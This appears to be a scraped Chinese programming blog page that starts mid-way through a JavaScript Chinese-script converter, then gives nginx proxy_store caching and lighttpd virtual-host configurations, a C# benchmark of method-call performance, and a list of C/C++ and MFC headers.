 StranBody(
fobj)

{

if
(
typeof
(
fobj)
==
"object"
)
{
var
 obj=
fobj.childNodes
}

else

{

var
 tmptxt=
StranLink_Obj.innerHTML
.toString
(
)

if
(
tmptxt.indexOf
(
"简"
)
&
lt;
0
)

{

BodyIsFt=
0

StranLink_Obj.innerHTML
=
StranText(
tmptxt,
0
,
1
)

StranLink_Obj.title
=
StranText(
StranLink_Obj.title
,
0
,
1
)

}

else

{

BodyIsFt=
1

StranLink_Obj.innerHTML
=
StranText(
tmptxt,
1
,
1
)

StranLink_Obj.title
=
StranText(
StranLink_Obj.title
,
1
,
1
)

}

setCookie(
JF_cn,
BodyIsFt,
7
)

var
 obj=
document.body
.childNodes

}

for
(
var
 i=
0
;
i&
lt;
obj.length
;
i++
)

{

var
 OO=
obj.item
(
i)

if
(
"||BR|HR|TEXTAREA|"
.indexOf
(
"|"
+
OO.tagName
+
"|"
)
&
gt;
0
||
OO==
StranLink_Obj)
continue
;

if
(
OO.title
!=
""
&
amp;&
amp;
OO.title
!=
null
)
OO.title
=
StranText(
OO.title
)
;

if
(
OO.alt
!=
""
&
amp;&
amp;
OO.alt
!=
null
)
OO.alt
=
StranText(
OO.alt
)
;

if
(
OO.tagName
==
"INPUT"
&
amp;&
amp;
OO.value
!=
""
&
amp;&
amp;
OO.type
!=
"text"
&
amp;&
amp;
OO.type
!=
"hidden"
)
OO.value
=
StranText(
OO.value
)
;

if
(
OO.nodeType
==
3
)
{
OO.data
=
StranText(
OO.data
)
}

else
 StranBody(
OO)

}

}

function
 JTPYStr(
)

{

return
 '。。。'
;

}

function
 FTPYStr(
)

{

return
 '。。。'
;

}

function
 Traditionalized(
cc)
{

var
 str=
''
,
ss=
JTPYStr(
)
,
tt=
FTPYStr(
)
;

for
(
var
 i=
0
;
i&
lt;
cc.length
;
i++
)

{

if
(
cc.charCodeAt
(
i)
&
gt;
10000
&
amp;&
amp;
ss.indexOf
(
cc.charAt
(
i)
)
!=-
1
)
str+=
tt.charAt
(
ss.indexOf
(
cc.charAt
(
i)
)
)
;

else
 str+=
cc.charAt
(
i)
;

}

return
 str;

}

function
 Simplized(
cc)
{

var
 str=
''
,
ss=
JTPYStr(
)
,
tt=
FTPYStr(
)
;

for
(
var
 i=
0
;
i&
lt;
cc.length
;
i++
)

{

if
(
cc.charCodeAt
(
i)
&
gt;
10000
&
amp;&
amp;
tt.indexOf
(
cc.charAt
(
i)
)
!=-
1
)
str+=
ss.charAt
(
tt.indexOf
(
cc.charAt
(
i)
)
)
;

else
 str+=
cc.charAt
(
i)
;

}

return
 str;

}

function
 setCookie(
name
,
 value)
      //cookies设置

{

var
 argv =
 setCookie.arguments
;

var
 argc =
 setCookie.arguments
.length
;

var
 expires =
 (
argc &
gt;
 2
)
 ?
 argv[
2
]
 :
 null
;

if
(
expires!=
null
)

{

var
 LargeExpDate =
 new
 Date (
)
;

LargeExpDate.setTime
(
LargeExpDate.getTime
(
)
 +
 (
expires*
1000
*
3600
*
24
)
)
;

}

document.cookie
 =
 name
 +
 "="
 +
 escape (
value)
+
(
(
expires ==
 null
)
 ?
 ""
 :
 (
"; expires="
 +
LargeExpDate.toGMTString
(
)
)
)
;

}

function
 getCookie(
Name
)
         //cookies读取

{

var
 search =
 Name
 +
 "="

if
(
document.cookie
.length
 &
gt;
 0
)

{

offset =
 document.cookie
.indexOf
(
search)

if
(
offset !=
 -
1
)

{

offset +=
 search.length

end =
 document.cookie
.indexOf
(
";"
,
 offset)

if
(
end ==
 -
1
)
 end =
 document.cookie
.length

return
 unescape(
document.cookie
.substring
(
offset,
 end)
)

}

else
 return
 ""

}

}

var
 StranLink_Obj=
document.getElementById
(
"StranLink"
)

if
 (
StranLink_Obj)

{

var
 JF_cn=
"ft"
+
self.location
.hostname
.toString
(
)
.replace
(
/\./g
,
""
)

var
 BodyIsFt=
getCookie(
JF_cn)

if
(
BodyIsFt!=
"1"
)
BodyIsFt=
Default_isFT
with
(
StranLink_Obj)

{

if
(
typeof
(
document.all
)
!=
"object"
)
    //非IE浏览器

{

href=
"javascript:StranBody()"

}

else

{

href=
"#"
;

onclick=
 new
 Function
(
"StranBody();return false"
)

}

title=
StranText(
"以繁体中文浏览"
,
1
,
0
)

innerHTML=
StranText(
innerHTML,
1
,
0
)

}

if
(
BodyIsFt==
"1"
)
{
setTimeout(
"StranBody()"
,
StranIt_Delay)
}

}

&
lt;/
script&
gt;

&
lt;/
body&
gt;

&
lt;/
html&
gt;

 

发表在 article | 标签为 | 一些javascript小技巧已关闭评论

利用proxy_store实现高效的静态文件分布缓存服务器(NGINX)

Nginx作为一个后起之秀,他的迷人之处已经让很多人都投入了他的怀抱。配置简单,实现原理简单。做一个负载平衡的再好不过了。

其原理:

简单介绍一下他的安装及配置过程

官方网站
http://wiki.codemongers.com/Main

一、依赖的程序

1. gzip module requires zlib library
2. rewrite module requires pcre library
3. ssl support requires openssl library

二、安装
./configure
make
make install

默认安装的路径是/usr/local/nginx

更多的安装配置
./configure –prefix=/usr/local/nginx
–with-openssl=/usr/include (启用ssl)
–with-pcre=/usr/include/pcre/ (启用正规表达式)
–with-http_stub_status_module (安装可以查看nginx状态的程序)
–with-http_memcached_module (启用memcache缓存)
–with-http_rewrite_module (启用支持url重写)
三、启动及重启
启动:nginx
重启:kill -HUP `cat /usr/local/nginx/logs/nginx.pid`
测试配置文件:nginx -t

简单吧,安装,启动都比较方便。

四、配置文件
http://wiki.codemongers.com/NginxFullExample

#运行用户
user  nobody nobody;
#启动进程
worker_processes  5;
#全局错误日志及PID文件

error_log  logs/error.log notice;
pid        logs/nginx.pid;
#工作模式及连接数上限
events {
  #工作模式有:select(标准模式),poll(标准模式),kqueue(高效模式,适用FreeBSD 4.1+, OpenBSD 2.9+, NetBSD 2.0 and MacOS X),
  #epoll(高效模式,本例用的。适用Linux 2.6+,SuSE 8.2,),/dev/poll(高效模式,适用Solaris 7 11/99+, HP/UX 11.22+ (eventport), IRIX 6.5.15+ 和 Tru64 UNIX 5.1A+)
  use epoll;
  worker_connections      1024;
}
#设定http服务器,利用它的反向代理功能提供负载均衡支持
http {
  #设定mime类型
  include      conf/mime.types;
  default_type  application/octet-stream;
  #设定日志格式
  log_format main        '$remote_addr - $remote_user [$time_local] '
                         '"$request" $status $bytes_sent '
                         '"$http_referer" "$http_user_agent" '
                         '"$gzip_ratio"';
  log_format download    '$remote_addr - $remote_user [$time_local] '
                         '"$request" $status $bytes_sent '
                         '"$http_referer" "$http_user_agent" '
                         '"$http_range" "$sent_http_content_range"';
  #设定请求缓冲
  client_header_buffer_size    10k;
  large_client_header_buffers  4 4k;

  #开启gzip模块,要求安装gzip 在运行./config时要指定
  gzip on;
  gzip_min_length  1100;
  gzip_buffers    4 8k;
  gzip_types      text/plain;
  output_buffers  1 32k;
  postpone_output  1460;

  #设定访问日志
  access_log  logs/access.log  main;
  client_header_timeout  3m;
  client_body_timeout    3m;
  send_timeout          3m;
  sendfile                on;
  tcp_nopush              on;
  tcp_nodelay            on;
  keepalive_timeout  65;

  #设定负载均衡的服务器列表
  upstream backserver {
  #weigth参数表示权值,权值越高被分配到的几率越大
  #本例是指在同一台服务器,多台服务器改变ip即可
  server 127.0.0.1:8081 weight=5;
  server 127.0.0.1:8082;
  server 127.0.0.1:8083;
  }
  #设定虚拟主机,默认为监听80端口,改成其他端口会出现问题
  server {
    listen         80;
    server_name    test.com

 www.test.com

;
    charset utf8;
    #设定本虚拟主机的访问日志
    access_log  logs/test.com.log  main;
    #如果访问 /images/*, /js/*, /css/* 资源,则直接取本地文件,不用转发。但如果文件较多效果不是太好。
    location ~ ^/(images|js|css)/  {
        root    /usr/local/testweb;
        expires 30m;
    }

    #对 "/" 启用负载均衡
    location / {
       proxy_pass      http://backserver

;
       proxy_redirect          off;
       proxy_set_header        Host $host;
       proxy_set_header        X-Real-IP $remote_addr;
       proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
       client_max_body_size    10m;
       client_body_buffer_size 128k;
       proxy_connect_timeout  90;
       proxy_send_timeout      90;
       proxy_read_timeout      90;
       proxy_buffer_size      4k;
       proxy_buffers          4 32k;
       proxy_busy_buffers_size 64k;
       proxy_temp_file_write_size 64k;
    }
    #设定查看Nginx状态的地址,在运行./config 要指定,默认是不安装的。
    location /NginxStatus {
       stub_status            on;
       access_log              on;
       auth_basic              "NginxStatus";
       #是否要通过用户名和密码访问,测试时可以不加上。conf/htpasswd 文件的内容用 apache
 提供的 htpasswd 工具来产生即可
       #auth_basic_user_file  conf/htpasswd;
    }
}
有详细的说明
-----------------------------------------------------------------------------------

 

 

曾经写过是否要放弃使用varnish/squid, 经过几天的实验,终于找到一种比较理想的解决方案:

直接使用proxy模块的proxy_store来实现分布mirror.

首先说说我的需求:

1. 我需要将一些静态文件从应用服务器剥离, 负载到其他的节点.
2. 这些文件主要是静态Html和图片,包括缩略图. 这些文件一旦创建,更新的频率很少.
3. 在某些时候需要手动立即从各个分布节点删除或更新某些文件
4. 尽可能减少应用服务器的请求, 进而减少内网的流量

之前,我分别使用了squid和varnish.
最初用的squid,还凑合.不过,squid在高负载下会出现停滞甚至crash或者是空白页.
于是换成varnish.
varnish也是老毛病,偶尔也会crash.

二者的共同点,就是当cache快满的时候,效率会急剧下降, 同时,对主服务器的请求甚至都
阻塞了整个内网.

要解决这个情况,varnish需要手动重启, squid则需要清除整个缓存目录.

对于varnish, 由于是纯内存的加速,因此,无法将cache设置太大,否则用上swap, 基本上是几倍的速度下降,
而且很容易就段违例了. 于是,当bots访问网站的时段, 就是噩梦产生的时候, 由于爬虫遍历太多的文件,
造成缓存很快溢出,于是频繁的invalid,此时,内网的带宽占用能达到100m以上….

可能有人说,为什么不用NFS. NFS的问题主要是锁的问题. 很容易造成死锁, 只有硬件重启才能解决.

为了脱离这个噩梦,我决定试验nginx的proxy_store. 如果使用Lighty,倒是非常简单,因为有mod_cache,配合lua,
会很灵活. 不过nginx的proxy_store并非是一个cache,因为它不具备expires, 新的cache模块仍在开发中.
不过经过仔细考量, 我惊喜的发现,其实这正是我想要的, 因为在我的需求中,绝大多数的文件都是不过期的,因而也无必要
去和后端服务器验证是否过期.

配置其实并不太复杂,但是过程有些曲折, 基本的思路是:
nginx首先检查本地是否有请求的文件,如果有直接送出,没有则从后端请求,并将结果存储在本地.

第一个方案,是基于error_page来实现的:

upstream backend{
server 192.168.8.10:80;
}
server {
listen 80;
access_log /logs/cache.log main;
server_name blog.night9.cn www.night9.cn night9.cn;
proxy_temp_path /cache/temp;
root /cache/$host;
location / {
index index.shtml;
error_page 404 = /fetch$uri;
}
ssi on;
location /fetch {
internal;
proxy_pass http://backend;
proxy_store on;
proxy_store_access user:rw group:rw all:rw;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Via “s9/nginx”;
alias /cache/$host;
}
#对于请求目录的情况下要特殊对待
location ~ /$ {
index index.shtml;
error_page 403 404 = @fetch;
}
location @fetch {
internal;
proxy_pass http://backend;
proxy_store /cache/$host${uri}index.shtml;
proxy_store_access user:rw group:rw all:rw;
proxy_set_header Host $host;
proxy_set_header Via “s9/nginx”;
proxy_set_header X-Real-IP $remote_addr;
}
}

这个方案对于普通的情况下,基本满足.

缓存是做到了,但是如何实现更新呢?
其实很简单,只要将指定url的从本地cache目录删除即可.
因为proxy_store会按照实际请求的url地址建立相应的目录结构.

于是,我写了一个fastcgi, 只要将需要清楚的url传递给它,从cache目录中删除.
其实可以用perl_module实现,但是考虑到独立fastcgi服务更为稳定,还是和以前的统计一样,
用perl的CGI::Fast模块实现, 替换了10几行代码就搞定了.

事情本来就该告一段,不过,由于主服务器上使用了SSI, 新的问题就来了:
我们希望SSI的解析是在子节点上进行,而不是在主服务器上进行, 这样我们可以独立更新相应
区块的文件即可, 否则就需要清除所有的shtml文件,这是比较可怕的.

但是,Nginx对于SSI的subrequest无法使用error_page来重定向.(不确定是否是bug,不过如果允许
的确容易造成死循环).

于是,一个更为简单的方案就诞生了:

set $index ‘index.shtml’;
set $store_file $request_filename;
if ($uri ~ /$ ){
set $store_file $request_filename$index;
rewrite (.*) $1index.shtml last;
}
location / {
index index.shtml;
proxy_store on;
proxy_temp_path /cache/temp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Via “s9/nginx”;
proxy_store_access user:rw group:rw all:rw;
if ( !-e $store_file ) {
proxy_pass http://backend;
}
}

Wow! 更为简单.
应该感谢Nginx的Rewrite模块, 这点也是我用Nginx替换Lighttpd的一个主要原因.

好了,我可以忘掉varnish,squid了.

如果有兴趣的人想使用, 请一定注意:
这个方案对静态文件更为有效,如果要加速动态请求,还是要用varnish

说道加速, 利用Memcached和nginx配合可以迅速提升访问动态页面的速度,
有时间再说.

发表在 web server | 标签为 , | 利用proxy_store实现高效的静态文件分布缓存服务器(NGINX)已关闭评论

lighttpd 多域名

lighttpd 虚拟主机配置

编辑 /etc/lightpd/lighttpd.conf 文件,添加:

$HTTP
[
"host"
]
== “wiki.guoshuang
.com
{

 
server.name
= “wiki.guoshuang
.com
”   server.document
-
root = “/
var/
www/
guoshuang”
 
server.errorlog
= “/
var/
www/
guoshuang/
cuowu.log

 
accesslog.filename
= “/
var/
www/
guoshuang/
cuowu.log

 
}

server.name
= “wiki.guoshuang
.com

 
server.document
-
root = “/
var/
www/
guoshuang”
 
server.errorlog
= “/
var/
www/
guoshuang/
cuowu.log

 
accesslog.filename
= “/
var/
www/
guoshuang/
cuowu.log

 
}

 
 
 
保存。重启 lightpd 即可。
 
lighttpd(别名)虚拟目录配置
 
server.modules
+
= (
“mod_alias” )

 
alias
.url
= (
/
cgi-
bin/
” =&
gt; “/
home/
lighttpd/
theos.in
/
cgi-
bin/
)

 
Browse all documents installed at /
usr/
share/
doc/
directory with following alias
:
 
alias
.url
= (
/
docs/
” =&
gt; “/
usr/
share/
doc/
)

 
alias
.url
+
= (
/
stats/
” =&
gt; “/
home/
theos.in
/
http/
webalizer/
)

alias
.url
= (
/
cgi-
bin/
” =&
gt; “/
home/
lighttpd/
theos.in
/
cgi-
bin/
)

 
Browse all documents installed at /
usr/
share/
doc/
directory with following alias
:
 
alias
.url
= (
/
docs/
” =&
gt; “/
usr/
share/
doc/
)

 
alias
.url
+
= (
/
stats/
” =&
gt; “/
home/
theos.in
/
http/
webalizer/
)

 
 
 
拒绝下载 ~ 和 .inc
文件。
 
url.access
-
deny = (
“~”, “.inc
)

 
wikipedia 虚拟主机以后需要修改 LocalSettings.php
的目录。否则报告 404
错误。
 
--------------------------------------------------------------------------------------------------

Description¶
Simple assumption:
 
Every virtual host is in
a directory below a base directory in
a path that is the same as the name of the vhost. Below
this vhost path might be an extra directory which is the document root of the vhost.
 
The
document root for
each vhost is built from three values:
 
-
server-
root
-
hostname
-
document-
root
 
The complete document root is constructed either by
 
server-
root +
hostname +
document-
root
or
if
this path does not
exist by
 
server-
root +
default-
host +
document-
root
A small example should make this idea clear:
 
/
var/
www/

/
var/
www/
logs/

/
var/
www/
servers/

/
var/
www/
servers/
example.org
/

/
var/
www/
servers/
example.org
/
lib/

/
var/
www/
servers/
example.org
/
pages/

/
var/
www/
servers/
mail.example
.org
/

/
var/
www/
servers/
mail.example
.org
/
lib/

/
var/
www/
servers/
mail.example
.org
/
pages/

 
simple-
vhost.server
-
root = "/var/www/servers/"

simple-
vhost.default
-
host = "example.org"

simple-
vhost.document
-
root = "pages"

With this setup, requests for
"example.org"
or
"something-else.example.org"
will go to /
var/
www/
server/
example.org
/
pages, while
requests for
"mail.example.org"
will go to /
var/
www/
server/
mail.example
.org
/
pages. You
can use symbolic links to map several hostnames to the same directory.
 
Conditionals
vs. simple
-
vhost¶
You have to keep in
mind that conditionals and
simple-
vhost interfere with one another.
 
simple
-
vhost.server
-
root = "/var/www/servers/"

simple-
vhost.default
-
host = "example.org"

simple-
vhost.document
-
root = "pages"

 
$HTTP
[
"host"
]
== "news.example.org"
{

    server.document
-
root = "/var/www/servers/news2.example.org/pages/"

}

When
news.example
.org
is requested, the server.document
-
root will be set to /
var/
www/
servers/
news2.example
.org
/
pages/
, but simple-
vhost will overwrite it shortly afterwards.
 
If
/
var/
www/
servers/
news.example
.org
/
pages/
exists, that will be used. If
not
, /
var/
www/
servers/
example.org
/
pages/
will be taken because it is the default.
 
To
use conditionals together with simple-
vhost, you should do
this:
 
$HTTP
[
"host"
]
!= "news.example.org"
{

    simple-
vhost.server
-
root = "/var/www/servers/"

    simple-
vhost.default
-
host = "example.org"

    simple-
vhost.document
-
root = "pages"

}

 
$HTTP
[
"host"
]
== "news.example.org"
{

    server.document
-
root = "/var/www/servers/news2.example.org/pages/"

}

It will enable simple vhosting for
all hosts other than news.example
.org
.
 
For
two or
more hosts:
 
$HTTP
[
"host"
]
!~ "^(test1\.
example\.
org|test2\.
example\.
org)$"

{

    simple-
vhost.server
-
root         = "/var/www"

    simple-
vhost.document
-
root       = "/html/"

    ## the default host if no host is sent

    simple-
vhost.default
-
host        = "example.org"

}

 
$HTTP
[
"host"
]
== "test1.example.org"
{

    server.document
-
root = "/home/user/sites/test1.example.org/"

    accesslog.filename
= "/home/user/sites/logs/test1.example.org.access.log"

}

 
$HTTP
[
"host"
]
== "test2.example.org"
{

    server.document
-
root = "/home/user/sites/test2.example.org"

    accesslog.filename
= "/home/user/sites/logs/test2.example.org.access.log"

}

It will enable simple virtual hosting for
all hosts other than test1.example
.org
and
test2.example
.org
.
 
Of
course you will need to setup permissions for
folders (
change owner to the user running lighttpd)
if
you do
it like in
that example.
 
Options

simple-
vhost.server
-
root¶
The root of the virtual host
 
simple-
vhost.default
-
host¶
Use this hostname if
the requested hostname does not
have its own directory
 
simple-
vhost.document
-
root¶
The path below the vhost directory
 
Tips¶
Make sure mod_simple_vhost is the first mod in
'server.modules'
list,when
you are using mod_simple_vhost with mod_cache and
mod_proxy.
 
You
can configure a virtual host with multiple domain names by using 'or'
syntax such as:
 
$HTTP
[
"host"
]
=~ "^(hosta\.
example\.
org|hostb\.
example\.
net)$"

{

    ... virtualhost
configuration here ...
}

WWW¶
You do
not
need to use two entries for
example.com
and
<
a href="http://www.example.com/"
>
www.example
.com
</
a>
. The
following syntax will act as a catch
all for
both example.com
and
any subdomains under it:
 
$HTTP
[
"host"
]
=~ "(^|\.
)example\.
com$"

{

    ...
}

发表在 article | 标签为 | lighttpd 多域名已关闭评论

C# 不同方式调用函数的性能对比

案例

using System;

using System.Diagnostics;

using System.Reflection;

using System.Reflection.Emit;

using System.Runtime.CompilerServices;



public class CallTest

{

    public delegate int AddDelegate(int x);



    public interface IAdd

    {

        int add(int i);

    }



    public class addClass : IAdd

    {

        [MethodImpl(MethodImplOptions.NoInlining)]

        public int add(int i)

        {

            return i + 1;

        }



        [MethodImpl(MethodImplOptions.NoInlining)]

        public static int static_add(int x)

        {

            return x + 1;

        }

    }



    public static MethodInfo addMethodInfo()

    {

        AssemblyName asmName = new AssemblyName();

        asmName.Name = "DynamicAssembly";

        AssemblyBuilder asmBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.Run);

        ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule("DynamicModule");

        MethodBuilder funBuilder = modBuilder.DefineGlobalMethod("add", MethodAttributes.Public
 | MethodAttributes.Static, typeof(int), new Type[1] { typeof(int) });

        ILGenerator il = funBuilder.GetILGenerator();



        il.Emit(OpCodes.Ldarg_0);

        il.Emit(OpCodes.Ldc_I4_1);

        il.Emit(OpCodes.Add);

        il.Emit(OpCodes.Ret);



        modBuilder.CreateGlobalFunctions();

        MethodInfo method = modBuilder.GetMethod("add");

        return method;

    }



    public static DynamicMethod addDynamicMethod()

    {

        DynamicMethod dm = new DynamicMethod("add", typeof(int), new Type[] { typeof(int) });

        ILGenerator il = dm.GetILGenerator();

        il.Emit(OpCodes.Ldarg_0);

        il.Emit(OpCodes.Ldc_I4_1);

        il.Emit(OpCodes.Add);

        il.Emit(OpCodes.Ret);

        return dm;

    }



    public static IAdd addInterface()

    {

        Type baseType = typeof(IAdd);



        //创建动态程序集。   

        AssemblyName asmName = new AssemblyName("add.assembly");

        AssemblyBuilder assembly = AppDomain.CurrentDomain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.Run);



        //创建动态模块。   

        ModuleBuilder module = assembly.DefineDynamicModule("add.module");



        //创建类型 MyClass。   

        TypeBuilder type = module.DefineType("MyClass", TypeAttributes.Class, typeof(Object), new Type[] { baseType });



        //创建方法   

        MethodAttributes attribute = baseType.GetMethod("add").Attributes & ~(MethodAttributes.Abstract);

        MethodBuilder method = type.DefineMethod("add", attribute, typeof(int), new Type[1] { typeof(int) });



        ILGenerator il = method.GetILGenerator();

        il = method.GetILGenerator();

        il.Emit(OpCodes.Ldarg_1);

        il.Emit(OpCodes.Ldc_I4_1);

        il.Emit(OpCodes.Add);

        il.Emit(OpCodes.Ret);



        // 显式接口方法需要定义 Override,而普通实现不需要。   

        type.DefineMethodOverride(method, baseType.GetMethod("add"));



        // 创建类型 MyClass。   

        Type myClass = type.CreateType();

        object o = Activator.CreateInstance(myClass);

        IAdd iadd = o as IAdd;

        return iadd;

    }



    static void Main(string[] args)

    {

        const int TIMES = 100000000;



        Stopwatch time = new Stopwatch();



        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES; )

            i++;

        time.Stop();

        Console.WriteLine("直接执行时间:" + time.ElapsedMilliseconds);



        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES; )

            i = addClass.static_add(i);

        time.Stop();

        Console.WriteLine("静态函数执行时间:" + time.ElapsedMilliseconds);



        time.Reset();

        time.Start();

        addClass add = new addClass();

        for (int i = 0; i < TIMES; )

            i = add.add(i);

        time.Stop();

        Console.WriteLine("成员函数执行时间:" + time.ElapsedMilliseconds);



        AddDelegate staticAddDelegate = new AddDelegate(addClass.static_add);

        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES; )

            i = staticAddDelegate(i);

        time.Stop();

        Console.WriteLine("静态方法的delegate执行时间:" + time.ElapsedMilliseconds);



        time.Reset();

        time.Start();

        IAdd iadd = new addClass();

        for (int i = 0; i < TIMES; )

            i = iadd.add(i);

        time.Stop();

        Console.WriteLine("接口函数执行时间:" + time.ElapsedMilliseconds);



        MethodInfo addMethod = addMethodInfo();

        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES / 100; )

            i = (int)addMethod.Invoke(null, new object[1] { i });

        time.Stop();

        Console.WriteLine("反射Invoke执行时间:" + time.ElapsedMilliseconds * 100);



        DynamicMethod dynamicMethod = addDynamicMethod();

        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES / 100; )

            i = (int)dynamicMethod.Invoke(null, new object[1] { i });

        time.Stop();

        Console.WriteLine("DynamicMethod.Invoke执行时间:" + time.ElapsedMilliseconds * 100);



        AddDelegate dynamicAddDelegate = (AddDelegate)dynamicMethod.CreateDelegate(typeof(AddDelegate));

        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES; )

            i = dynamicAddDelegate(i);

        time.Stop();

        Console.WriteLine("DynamicMethod生成delegate执行时间:" + time.ElapsedMilliseconds);



        IAdd dynamicIAdd = addInterface();

        time.Reset();

        time.Start();

        for (int i = 0; i < TIMES; )

            i = dynamicIAdd.add(i);

        time.Stop();

        Console.WriteLine("emit生成的interface执行时间:" + time.ElapsedMilliseconds);



        Console.ReadLine();

    }

}

.

直接执行时间:95
静态函数执行时间:388
成员函数执行时间:485
静态方法的delegate执行时间:728
接口函数执行时间:591
反射Invoke执行时间:259600
DynamicMethod.Invoke执行时间:600300
DynamicMethod生成delegate执行时间:623
emit生成的interface执行时间:621

 

.

发表在 article | 标签为 | C# 不同方式调用函数的性能对比已关闭评论

C/C++头文件一览

C/C++头文件一览

C、传统 C++

#include <assert.h>    //设定插入点
#include <ctype.h>     //字符处理
#include <errno.h>     //定义错误码
#include <float.h>     //浮点数处理
#include <fstream.h>    //文件输入/输出
#include <iomanip.h>    //参数化输入/输出
#include <iostream.h>   //数据流输入/输出
#include <limits.h>    //定义各种数据类型最值常量
#include <locale.h>    //定义本地化函数
#include <math.h>     //定义数学函数
#include <stdio.h>     //定义输入/输出函数
#include <stdlib.h>    //定义杂项函数及内存分配函数
#include <string.h>    //字符串处理
#include <strstrea.h>   //基于数组的输入/输出
#include <time.h>     //定义关于时间的函数
#include <wchar.h>     //宽字符处理及输入/输出
#include <wctype.h>    //宽字符分类

//////////////////////////////////////////////////////////////////////////

标准 C++ (同上的不再注释)

#include <algorithm>    //STL 通用算法
#include <bitset>     //STL 位集容器
#include <cctype>
#include <cerrno>
#include <clocale>
#include <cmath>
#include <complex>     //复数类
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#include <deque>      //STL 双端队列容器
#include <exception>    //异常处理类
#include <fstream>
#include <functional>   //STL 定义运算函数(代替运算符)
#include <limits>
#include <list>      //STL 线性列表容器
#include <map>       //STL 映射容器
#include <iomanip>
#include <ios>       //基本输入/输出支持
#include <iosfwd>     //输入/输出系统使用的前置声明
#include <iostream>
#include <istream>     //基本输入流
#include <ostream>     //基本输出流
#include <queue>      //STL 队列容器
#include <set>       //STL 集合容器
#include <sstream>     //基于字符串的流
#include <stack>      //STL 堆栈容器    
#include <stdexcept>    //标准异常类
#include <streambuf>    //底层输入/输出支持
#include <string>     //字符串类
#include <utility>     //STL 通用模板类
#include <vector>     //STL 动态数组容器
#include <cwchar>
#include <cwctype>

using namespace std;

//////////////////////////////////////////////////////////////////////////

C99 增加

#include <complex.h>   //复数处理
#include <fenv.h>    //浮点环境
#include <inttypes.h>  //整数格式转换
#include <stdbool.h>   //布尔环境
#include <stdint.h>   //整型环境
#include <tgmath.h>   //通用类型数学宏

 

———————————————————————————————————

补充:

经常在CSDN以及其他之类的技术论坛上问关于C++ 头文件的问题。提出这些问题的往往就是那些刚学C++的新手。当初我是菜鸟的时候也问过类似的问题。

 

    现在来看看下面两个include:

 

    #include<iostream>     // 这个就是1998年标准化以后的标准头文件

 

    #include<iostream.h>       // 这个就是标准化以前的头文件

 

 

 

    更本质上的区别就是iostream把标准C++库的组件放在一个名位std的namespace里面。而相对的iostream.h则将这些标准组件放在全局空间里,同时在标准化以后旧有的C标准库也已经经过改造了。

 

    看看下面这两个头文件

 

    // 标准化后经过改造的C的标准库,所有的组件都放在了std中

 

    #include<cstdio>          

 

    // 标准化以前C++中的C标准库

 

    #include<stdio.h>

 

    // 在看看这个头文件C标准库下 基于char* 的字符处理函数库

 

    #include<string.h>

 

    // 在标准化以后他变成了这样

 

    #include<cstring>

 

    // 但是很多朋友还看见过这个字符串处理函数库,他包含了新的string class

 

    #include<string>

 

 

 

    经过了标准委员会如此大规模手术后,在98年以前出品的C++编译器(BC3.0,BC5.0)上能顺利通过编译的源文件,在支持新标准的编译器上可能无法顺利通过编译也就是很正常的事了。

 

 

 

[起因]

 

    在回过头来看看标准程序库,这个程序库涵盖范围相当广大,提过了许许多多好用的功能。正是因为这样标准程序库中class的名称和函数名与第三方提供的程序库中的class名或是函数名发生名字冲突的可能性大大增大。为了避免这个问题的发生,标准委员会决定将标准程序库中每一样东西都放在namespace std中。但是这么做同时有引来了一个新的问题。很多C++程序代码依赖那些已经存在很多年的C++ “准”标准程序库(C++迟迟未标准化才导致这些情况的发生),例如iosteam.h,complex.h等等。

 

 

 

    为了解决这个新出现的问题,标准化委员会决定设计一些新的头文件名,给那些穿上std外衣的组件所使用。把C++头文件的.h去掉,于是就有前面出现的iostream,同样C的头文件也做了相同的处理,同时在前面加上了一个字母c,以表示是C的头文件(感觉上有中种族歧视的感觉)。同时标准化委员会声明就有的C++头文件将不再列于被支持的名单之中了,而旧有的C头文件为了满足“对C的兼容性”这个古老契约,仍然将继续存活下去。

 

但是,那些编译器厂商不可能去推翻他们客户的旧有编译器(也跟本不会去这么做),所以那些旧有的C++头文件仍然苟延残喘的活了下来,并不断的扰乱那些C++新兵的心智。

 

 

 

    下面就是现在大多数C++开发工具表示头文件的组织状态:

 

1.    旧的C++头文件 比如iostream.h,他们虽然被标准化委员会所抛弃,但由于各大厂商为了各自的商业利益仍然将继续存活下去,这些头文件的内容将不处于namespace std中。

 

2.    新的C++头文件如iostream虽然提供了和旧有头文件相同的功能,但他的内容都并入了namespace std中,从而有效避免了名字污染的问题。

 

3.    标准C的头文件如stdio.h继续获得支持,这类文件的内容并未放在std中。

 

4.    C函数库的技能也有对应的新式C++版本,起名称类似cstdio,这类头文件的内容也有幸穿上了std的外衣。

 

 

 

其实标准化以后的标准程序库的改动并不只有这些而已,很多的标准化组件都被“tamplate化”。其中就有元老级人物iostream。标准程序库的问题并不是用一篇,两篇文章就可以说清楚的。如果你像进一步的了解C++的标准程序库的话,你可以看看侯先生的《C++标准程序库》。

 ———————————————————

CAnimateCtrl    afxcmn.h    
CArchive    afx.h    
CArchiveException    afx.h    
CArray    afxtempl.h    
CAsyncMonikerFile    afxole.h    
CAsyncSocket    afxsock.h    
CBitmap    afxwin.h    
CBitmapButton    afxext.h    
CBrush    afxwin.h    
CButton    afxwin.h    
CByteArray    afxcoll.h    
CCachedDataPathProperty    afxctl.h    
CCheckListBox    afxwin.h    
CClientDC    afxwin.h    
CCmdTarget    afxwin.h    
CCmdUI    afxwin.h    
CColorDialog    afxdlgs.h    
CComboBox    afxwin.h    
CComboBoxEx    afxcmn.h    
CCommandLineInfo    afxwin.h    
CCommonDialog    afxdlgs.h    
CConnectionPoint    afxdisp.h    
CControlBar    afxext.h    
CCriticalSection    afxmt.h    
CCtrlView    afxwin.h    
CDaoDatabase    afxdao.h    
CDaoException    afxdao.h    
CDaoFieldExchange    afxdao.h    
CDaoQueryDef    afxdao.h    
CDaoRecordset    afxdao.h    
CDaoRecordView    afxdao.h    
